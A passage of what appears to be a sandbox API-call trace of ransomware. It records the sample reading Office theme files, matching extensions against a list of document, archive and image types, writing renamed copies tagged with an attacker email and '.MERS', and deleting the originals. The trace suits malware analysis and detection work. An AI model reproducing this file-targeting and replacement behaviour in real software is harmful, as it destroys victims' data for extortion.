hTemplateFile=0x0) returned 0x3b0 [0268.826] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34afec8 | out: lpNewFilePointer=0x0) returned 1 [0268.826] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34afec8 | out: lpNewFilePointer=0x0) returned 1 [0268.826] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Black Tie.eftx.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\black tie.eftx.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0268.827] GetLastError () returned 0x0 [0268.827] ReadFile (in: hFile=0x3b0, lpBuffer=0x40c0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34afed4, lpOverlapped=0x0 | out: lpBuffer=0x40c0020*, lpNumberOfBytesRead=0x34afed4*=0x96e87, lpOverlapped=0x0) returned 1 [0268.962] WriteFile (in: hFile=0x384, lpBuffer=0x40c0020*, nNumberOfBytesToWrite=0x96e90, lpNumberOfBytesWritten=0x34afc9c, lpOverlapped=0x0 | out: lpBuffer=0x40c0020*, lpNumberOfBytesWritten=0x34afc9c*=0x96e90, lpOverlapped=0x0) returned 1 [0269.099] ReadFile (in: hFile=0x3b0, lpBuffer=0x40c0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34afed4, lpOverlapped=0x0 | out: lpBuffer=0x40c0020*, lpNumberOfBytesRead=0x34afed4*=0x0, lpOverlapped=0x0) returned 1 [0269.099] WriteFile (in: hFile=0x384, lpBuffer=0x40c0020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x34afc9c, lpOverlapped=0x0 | out: lpBuffer=0x40c0020*, lpNumberOfBytesWritten=0x34afc9c*=0xf0, lpOverlapped=0x0) returned 1 [0269.099] SetEndOfFile (hFile=0x384) returned 1 [0269.114] CloseHandle (hObject=0x384) returned 1 [0269.114] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34afec8 | out: lpNewFilePointer=0x0) returned 1 [0269.114] SetEndOfFile (hFile=0x3b0) returned 1 [0269.125] CloseHandle (hObject=0x3b0) returned 1 [0269.125] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Black Tie.eftx.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x20) returned 1 [0269.125] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Black Tie.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\black tie.eftx")) returned 1 [0269.126] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Black Tie.eftx") returned 81 [0269.126] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Black Tie.eftx") returned 81 [0269.126] lstrlenW (lpString=".doc") returned 4 [0269.126] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0269.126] lstrlenW (lpString=".docx") returned 5 [0269.126] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0269.126] lstrlenW (lpString=".pdf") returned 4 [0269.126] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0269.126] lstrlenW (lpString=".xls") returned 4 [0269.126] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0269.126] lstrlenW (lpString=".xlsx") returned 5 [0269.126] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0269.126] lstrlenW (lpString=".ppt") returned 4 [0269.126] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0269.126] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Black Tie.eftx") returned 81 [0269.126] lstrlenW (lpString=".zip") returned 4 [0269.126] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0269.126] lstrlenW (lpString=".rar") returned 4 [0269.126] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0269.126] lstrlenW (lpString=".bz2") returned 4 [0269.126] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0269.126] lstrlenW (lpString=".7z") returned 3 [0269.126] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0269.126] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Black Tie.eftx") returned 81 [0269.126] lstrlenW (lpString=".dbf") returned 4 [0269.126] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0269.126] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Black Tie.eftx") returned 81 [0269.126] lstrlenW (lpString=".1cd") returned 4 [0269.126] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0269.126] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Black Tie.eftx") returned 81 [0269.126] lstrlenW (lpString=".jpg") returned 4 [0269.127] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0269.127] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Black Tie.eftx") returned 81 [0269.127] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Black Tie.eftx") returned 81 [0269.127] lstrlenW (lpString=".doc") returned 4 [0269.127] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0269.127] lstrlenW (lpString=".docx") returned 5 [0269.127] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0269.127] lstrlenW (lpString=".pdf") returned 4 [0269.127] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0269.127] lstrlenW (lpString=".xls") returned 4 [0269.127] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0269.127] lstrlenW (lpString=".xlsx") returned 5 [0269.127] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0269.127] lstrlenW (lpString=".ppt") returned 4 [0269.127] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0269.127] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Black Tie.eftx") returned 81 [0269.127] lstrlenW (lpString=".zip") returned 4 [0269.127] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0269.127] lstrlenW (lpString=".rar") returned 4 [0269.127] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0269.127] lstrlenW (lpString=".bz2") returned 4 [0269.127] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0269.127] lstrlenW (lpString=".7z") returned 3 [0269.127] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0269.127] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Black Tie.eftx") returned 81 [0269.127] lstrlenW (lpString=".dbf") returned 4 [0269.127] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0269.127] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Black Tie.eftx") returned 81 [0269.127] lstrlenW (lpString=".1cd") returned 4 [0269.127] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0269.127] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Black Tie.eftx") returned 81 [0269.127] lstrlenW (lpString=".jpg") returned 4 [0269.127] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0269.128] lstrcmpiW (lpString1=".eftx", lpString2=".MERS") returned -1 [0269.128] lstrlenW (lpString="Couture.eftx") returned 12 [0269.128] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Couture.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\couture.eftx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0269.130] GetFileSizeEx (in: hFile=0x3b0, lpFileSize=0x34aff1c | out: lpFileSize=0x34aff1c*=1967905) returned 1 [0269.130] CloseHandle (hObject=0x3b0) returned 1 [0269.130] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Couture.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\couture.eftx")) returned 0x20 [0269.130] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Couture.eftx.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\couture.eftx.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0269.130] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Couture.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\couture.eftx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Couture.eftx.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\couture.eftx.id-9c354b42.[crypt1style@aol.com].mers")) returned 0 [0269.130] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Couture.eftx") returned 79 [0269.131] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Couture.eftx") returned 79 [0269.131] lstrlenW (lpString=".doc") returned 4 [0269.131] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0269.131] lstrlenW (lpString=".docx") returned 5 [0269.131] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0269.131] lstrlenW (lpString=".pdf") returned 4 [0269.131] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0269.131] lstrlenW (lpString=".xls") returned 4 [0269.131] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0269.131] lstrlenW (lpString=".xlsx") returned 5 [0269.131] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0269.131] lstrlenW (lpString=".ppt") returned 4 [0269.131] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0269.131] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Couture.eftx") returned 79 [0269.131] lstrlenW (lpString=".zip") returned 4 [0269.131] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0269.131] lstrlenW (lpString=".rar") returned 4 [0269.131] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0269.131] lstrlenW (lpString=".bz2") returned 4 [0269.131] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0269.131] lstrlenW (lpString=".7z") returned 3 [0269.131] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0269.131] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Couture.eftx") returned 79 [0269.131] lstrlenW (lpString=".dbf") returned 4 [0269.131] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0269.131] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Couture.eftx") returned 79 [0269.131] lstrlenW (lpString=".1cd") returned 4 [0269.131] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0269.131] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Couture.eftx") returned 79 [0269.131] lstrlenW (lpString=".jpg") returned 4 [0269.131] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0269.131] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Couture.eftx") returned 79 [0269.131] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Couture.eftx") returned 79 [0269.131] lstrlenW (lpString=".doc") returned 4 [0269.132] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0269.132] lstrlenW (lpString=".docx") returned 5 [0269.132] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0269.132] lstrlenW (lpString=".pdf") returned 4 [0269.132] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0269.132] lstrlenW (lpString=".xls") returned 4 [0269.132] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0269.132] lstrlenW (lpString=".xlsx") returned 5 [0269.132] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0269.132] lstrlenW (lpString=".ppt") returned 4 [0269.132] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0269.132] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Couture.eftx") returned 79 [0269.132] lstrlenW (lpString=".zip") returned 4 [0269.132] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0269.132] lstrlenW (lpString=".rar") returned 4 [0269.132] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0269.132] lstrlenW (lpString=".bz2") returned 4 [0269.132] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0269.132] lstrlenW (lpString=".7z") returned 3 [0269.132] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0269.132] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Couture.eftx") returned 79 [0269.132] lstrlenW (lpString=".dbf") returned 4 [0269.132] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0269.132] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Couture.eftx") returned 79 [0269.132] lstrlenW (lpString=".1cd") returned 4 [0269.132] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0269.132] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Couture.eftx") returned 79 [0269.132] lstrlenW (lpString=".jpg") returned 4 [0269.132] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0269.132] lstrcmpiW (lpString1=".eftx", lpString2=".MERS") returned -1 [0269.132] lstrlenW (lpString="Elemental.eftx") returned 14 [0269.133] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Elemental.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\elemental.eftx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0269.133] GetFileSizeEx (in: hFile=0x3b0, lpFileSize=0x34aff1c | out: lpFileSize=0x34aff1c*=314017) returned 1 [0269.133] CloseHandle (hObject=0x3b0) returned 1 [0269.133] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Elemental.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\elemental.eftx")) returned 0x20 [0269.133] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Elemental.eftx.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\elemental.eftx.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0269.134] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Elemental.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\elemental.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0269.134] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34afec8 | out: lpNewFilePointer=0x0) returned 1 [0269.134] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34afec8 | out: lpNewFilePointer=0x0) returned 1 [0269.134] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Elemental.eftx.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\elemental.eftx.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0269.135] GetLastError () returned 0x0 [0269.135] ReadFile (in: hFile=0x3b0, lpBuffer=0x40c0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34afed4, lpOverlapped=0x0 | out: lpBuffer=0x40c0020*, lpNumberOfBytesRead=0x34afed4*=0x4caa1, lpOverlapped=0x0) returned 1 [0269.261] WriteFile (in: hFile=0x384, lpBuffer=0x40c0020*, nNumberOfBytesToWrite=0x4cab0, lpNumberOfBytesWritten=0x34afc9c, lpOverlapped=0x0 | out: lpBuffer=0x40c0020*, lpNumberOfBytesWritten=0x34afc9c*=0x4cab0, lpOverlapped=0x0) returned 1 [0269.413] ReadFile (in: hFile=0x3b0, lpBuffer=0x40c0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34afed4, lpOverlapped=0x0 | out: lpBuffer=0x40c0020*, lpNumberOfBytesRead=0x34afed4*=0x0, lpOverlapped=0x0) returned 1 [0269.413] WriteFile (in: hFile=0x384, lpBuffer=0x40c0020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x34afc9c, lpOverlapped=0x0 | out: lpBuffer=0x40c0020*, lpNumberOfBytesWritten=0x34afc9c*=0xf0, lpOverlapped=0x0) returned 1 [0269.413] SetEndOfFile (hFile=0x384) returned 1 [0269.679] CloseHandle (hObject=0x384) returned 1 [0269.679] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34afec8 | out: lpNewFilePointer=0x0) returned 1 [0269.680] SetEndOfFile (hFile=0x3b0) returned 1 [0270.981] CloseHandle (hObject=0x3b0) returned 1 [0270.981] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Elemental.eftx.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x20) returned 1 [0270.982] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Elemental.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\elemental.eftx")) returned 1 [0270.983] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Elemental.eftx") returned 81 [0270.983] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Elemental.eftx") returned 81 [0270.983] lstrlenW (lpString=".doc") returned 4 [0270.983] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0270.983] lstrlenW (lpString=".docx") returned 5 [0270.983] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0270.983] lstrlenW (lpString=".pdf") returned 4 [0270.983] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0270.983] lstrlenW (lpString=".xls") returned 4 [0270.983] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0270.983] lstrlenW (lpString=".xlsx") returned 5 [0270.983] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0270.983] lstrlenW (lpString=".ppt") returned 4 [0270.983] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0270.983] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Elemental.eftx") returned 81 [0270.983] lstrlenW (lpString=".zip") returned 4 [0270.983] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0270.983] lstrlenW (lpString=".rar") returned 4 [0270.983] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0270.983] lstrlenW (lpString=".bz2") returned 4 [0270.983] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0270.984] lstrlenW (lpString=".7z") returned 3 [0270.984] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0270.984] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Elemental.eftx") returned 81 [0270.984] lstrlenW (lpString=".dbf") returned 4 [0270.984] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0270.984] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Elemental.eftx") returned 81 [0270.984] lstrlenW (lpString=".1cd") returned 4 [0270.984] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0270.984] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Elemental.eftx") returned 81 [0270.984] lstrlenW (lpString=".jpg") returned 4 [0270.984] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0270.984] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Elemental.eftx") returned 81 [0270.984] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Elemental.eftx") returned 81 [0270.984] lstrlenW (lpString=".doc") returned 4 [0270.984] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0270.984] lstrlenW (lpString=".docx") returned 5 [0270.984] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0270.984] lstrlenW (lpString=".pdf") returned 4 [0270.984] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0270.984] lstrlenW (lpString=".xls") returned 4 [0270.984] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0270.984] lstrlenW (lpString=".xlsx") returned 5 [0270.984] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0270.984] lstrlenW (lpString=".ppt") returned 4 [0270.984] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0270.985] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Elemental.eftx") returned 81 [0270.985] lstrlenW (lpString=".zip") returned 4 [0270.985] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0270.985] lstrlenW (lpString=".rar") returned 4 [0270.985] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0270.985] lstrlenW (lpString=".bz2") returned 4 [0270.985] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0270.985] lstrlenW (lpString=".7z") returned 3 [0270.985] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0270.985] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Elemental.eftx") returned 81 [0270.985] lstrlenW (lpString=".dbf") returned 4 [0270.985] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0270.985] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Elemental.eftx") returned 81 [0270.985] lstrlenW (lpString=".1cd") returned 4 [0270.985] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0270.985] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Elemental.eftx") returned 81 [0270.985] lstrlenW (lpString=".jpg") returned 4 [0270.985] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0270.985] lstrcmpiW (lpString1=".eftx", lpString2=".MERS") returned -1 [0270.985] lstrlenW (lpString="Flow.eftx") returned 9 [0270.985] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Flow.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\flow.eftx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x418 [0271.122] GetFileSizeEx (in: hFile=0x418, lpFileSize=0x34aff1c | out: lpFileSize=0x34aff1c*=26648) returned 1 [0271.122] CloseHandle (hObject=0x418) returned 1 [0271.122] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Flow.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\flow.eftx")) returned 0x20 [0271.136] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Flow.eftx.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\flow.eftx.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0271.136] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Flow.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\flow.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x40c [0271.136] SetFilePointerEx (in: hFile=0x40c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34afec8 | out: lpNewFilePointer=0x0) returned 1 [0271.136] SetFilePointerEx (in: hFile=0x40c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34afec8 | out: lpNewFilePointer=0x0) returned 1 [0271.136] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Flow.eftx.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\flow.eftx.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0271.158] GetLastError () returned 0x0 [0271.158] ReadFile (in: hFile=0x40c, lpBuffer=0x40c0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34afed4, lpOverlapped=0x0 | out: lpBuffer=0x40c0020*, lpNumberOfBytesRead=0x34afed4*=0x6818, lpOverlapped=0x0) returned 1 [0271.286] WriteFile (in: hFile=0x3ac, lpBuffer=0x40c0020*, nNumberOfBytesToWrite=0x6820, lpNumberOfBytesWritten=0x34afc9c, lpOverlapped=0x0 | out: lpBuffer=0x40c0020*, lpNumberOfBytesWritten=0x34afc9c*=0x6820, lpOverlapped=0x0) returned 1 [0271.287] ReadFile (in: hFile=0x40c, lpBuffer=0x40c0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34afed4, lpOverlapped=0x0 | out: lpBuffer=0x40c0020*, lpNumberOfBytesRead=0x34afed4*=0x0, lpOverlapped=0x0) returned 1 [0271.287] WriteFile (in: hFile=0x3ac, lpBuffer=0x40c0020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x34afc9c, lpOverlapped=0x0 | out: lpBuffer=0x40c0020*, lpNumberOfBytesWritten=0x34afc9c*=0xe6, lpOverlapped=0x0) returned 1 [0271.287] SetEndOfFile (hFile=0x3ac) returned 1 [0271.287] CloseHandle (hObject=0x3ac) returned 1 [0271.287] SetFilePointerEx (in: hFile=0x40c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34afec8 | out: lpNewFilePointer=0x0) returned 1 [0271.287] SetEndOfFile (hFile=0x40c) returned 1 [0271.290] CloseHandle (hObject=0x40c) returned 1 [0271.290] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Flow.eftx.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x20) returned 1 [0271.334] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Flow.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\flow.eftx")) returned 1 [0271.337] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Flow.eftx") returned 76 [0271.337] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Flow.eftx") returned 76 [0271.337] lstrlenW (lpString=".doc") returned 4 [0271.337] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0271.337] lstrlenW (lpString=".docx") returned 5 [0271.337] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0271.337] lstrlenW (lpString=".pdf") returned 4 [0271.337] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0271.337] lstrlenW (lpString=".xls") returned 4 [0271.337] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0271.337] lstrlenW (lpString=".xlsx") returned 